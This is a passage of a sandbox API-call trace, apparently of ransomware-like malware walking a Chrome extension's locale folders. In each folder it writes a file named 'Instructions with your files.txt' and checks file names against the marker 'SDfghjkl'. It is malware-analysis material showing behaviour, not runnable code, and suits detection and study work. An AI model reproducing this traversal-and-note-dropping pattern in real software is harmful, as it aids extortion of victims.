[0130.032] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86d1bfb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x180f, dwReserved0=0x0, dwReserved1=0x0, cFileName="128.png", cAlternateFileName="")) returned 1
[0130.032] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png") returned 137
[0130.032] StrStrIW (lpFirst="128.png", lpSrch="SDfghjkl") returned 0x0
[0130.032] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86989eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x869b0fb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x310, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1
[0130.032] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json") returned 143
[0130.032] StrStrIW (lpFirst="manifest.json", lpSrch="SDfghjkl") returned 0x0
[0130.032] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_locales", cAlternateFileName="")) returned 1
[0130.032] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales") returned 138
[0130.032] GetProcessHeap () returned 0x810000
[0130.032] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8dcc28
[0130.033] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\*") returned 140
[0130.033] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\*", lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876eb8
[0130.035] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\.") returned 140
[0130.035] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.035] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\..") returned 141
[0130.035] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1
[0130.035] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar") returned 141
[0130.035] GetProcessHeap () returned 0x810000
[0130.035] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.036] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\*") returned 143
[0130.036] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.037] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\.") returned 143
[0130.037] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.037] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\..") returned 144
[0130.037] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x138, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.037] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json") returned 155
[0130.037] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.037] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x138, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.037] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\Instructions with your files.txt") returned 174
[0130.037] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.037] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.038] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.038] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.038] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.039] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.039] CloseHandle (hObject=0x134) returned 1
[0130.039] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.039] GetProcessHeap () returned 0x810000
[0130.039] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.039] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1
[0130.039] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg") returned 141
[0130.039] GetProcessHeap () returned 0x810000
[0130.039] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.039] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\*") returned 143
[0130.039] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.039] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\.") returned 143
[0130.039] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.039] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\..") returned 144
[0130.039] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x124, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.039] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json") returned 155
[0130.039] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.040] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x124, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.040] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\Instructions with your files.txt") returned 174
[0130.040] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.040] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.041] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.041] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.041] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.041] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.041] CloseHandle (hObject=0x134) returned 1
[0130.041] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.041] GetProcessHeap () returned 0x810000
[0130.041] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.041] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1
[0130.041] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca") returned 141
[0130.041] GetProcessHeap () returned 0x810000
[0130.041] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.041] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\*") returned 143
[0130.042] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.044] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\.") returned 143
[0130.044] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.044] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\..") returned 144
[0130.044] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.044] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json") returned 155
[0130.044] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.044] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.044] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\Instructions with your files.txt") returned 174
[0130.044] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.044] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.045] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.045] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
